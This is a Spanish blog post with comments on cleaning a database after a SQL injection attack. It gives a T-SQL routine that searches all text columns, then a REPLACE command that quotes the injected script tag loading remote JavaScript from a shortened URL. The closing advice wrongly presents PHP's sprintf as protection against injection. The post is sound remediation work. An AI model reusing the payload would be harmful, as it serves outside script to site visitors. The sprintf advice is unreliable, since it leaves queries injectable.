Buscar una cadena de texto en toda la base de datos

Hace poco nos la han metido doblada en un proyecto y han conseguido hacer un query injection, problema, localizar todas las tablas donde han conseguido insertarlo. Al final me he marcado una pequeña rutina para buscar en todas las tablas de la base de datos….

En este caso buscamos la palabra script

DECLARE @resultados TABLE (columna nvarchar(370), valor nvarchar(3630))
DECLARE @tabla nvarchar(256), @columna nvarchar(128), @cadenaBuscar nvarchar(110)
SET  @tabla = ''
SET @cadenaBuscar = QUOTENAME('%script%','''')

WHILE @tabla IS NOT NULL 
	BEGIN
		SET @columna = ''
		SET @tabla =
		(SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @tabla AND OBJECTPROPERTY(OBJECT_ID( QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) ), 'IsMSShipped' ) = 0)
		WHILE (@tabla IS NOT NULL) AND (@columna IS NOT NULL)
			BEGIN
				SET @columna = (SELECT MIN(QUOTENAME(COLUMN_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = PARSENAME(@tabla, 2) AND TABLE_NAME = PARSENAME(@tabla, 1) AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar') AND QUOTENAME(COLUMN_NAME) > @columna)
				IF @columna IS NOT NULL
					BEGIN
						INSERT INTO @resultados
						EXEC ( 'SELECT ''' + @tabla + '.' + @columna + ''', LEFT(' + @columna + ', 3630) FROM ' + @tabla + ' (NOLOCK) ' + ' WHERE ' + @columna + ' LIKE ' + @cadenaBuscar ) 
					END
				END
	END

SELECT columna, valor FROM @resultados

Con esto conseguimos que nos salga tabla, la columna y el registro donde lo ha encontrado por lo que podemos cargarnos el código malicioso con un simple replace:

update tabla set campo = replace(campo, '</title><script src=http://is.gd/s4NB8c ></script>', '')

Y ahora solo falta encontrar por donde se han colado, pero eso ya es otra historia… (cuando pille al zarpas que lo ha permitido se va a cargar).

Por cierto, la mejor forma de evitar query injection es meter todos los insert, updates y deletes en procedimientos almacenados y que el usuario que haga las select SOLO tenga permiso para select. A parte, cada lenguaje tiene sus propios sistemas para evitarlo: cfqueryparam en coldfusion, sprintf en PHP, etc

Dejar un comentario?

5 Comentarios.

  1. The script works fine privedod you don’t need to search through text or ntext’ columns. I’ve tried adding these data types to lineAND DATA_TYPE IN ( char’, varchar’, nchar’, nvarchar’, ntext’, text’) but this just throuws the following error:Msg 8116, Level 16, State 1, Line 1Argument data type ntext is invalid for argument 1 of left function.Can anyone please help?

    • You can´t make a inner join or left join with a text field, you have to convert it to varchar.

  2. Genial, he liado con la BD de wordpress cambiando rutas y me he dejado en algun sitio alguna sin cambiar!
    Gracias! 😮

  3. Efraín Avila Castillo

    Gracias!! me fue muy útil

  4. Eres un genio, tío.
    En todas partes encontraba Procedures para hacerlo y en mi DDBB no puedo crearlos…

    Àngel

Deje un comentario


NOTA - Puede usar estosHTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.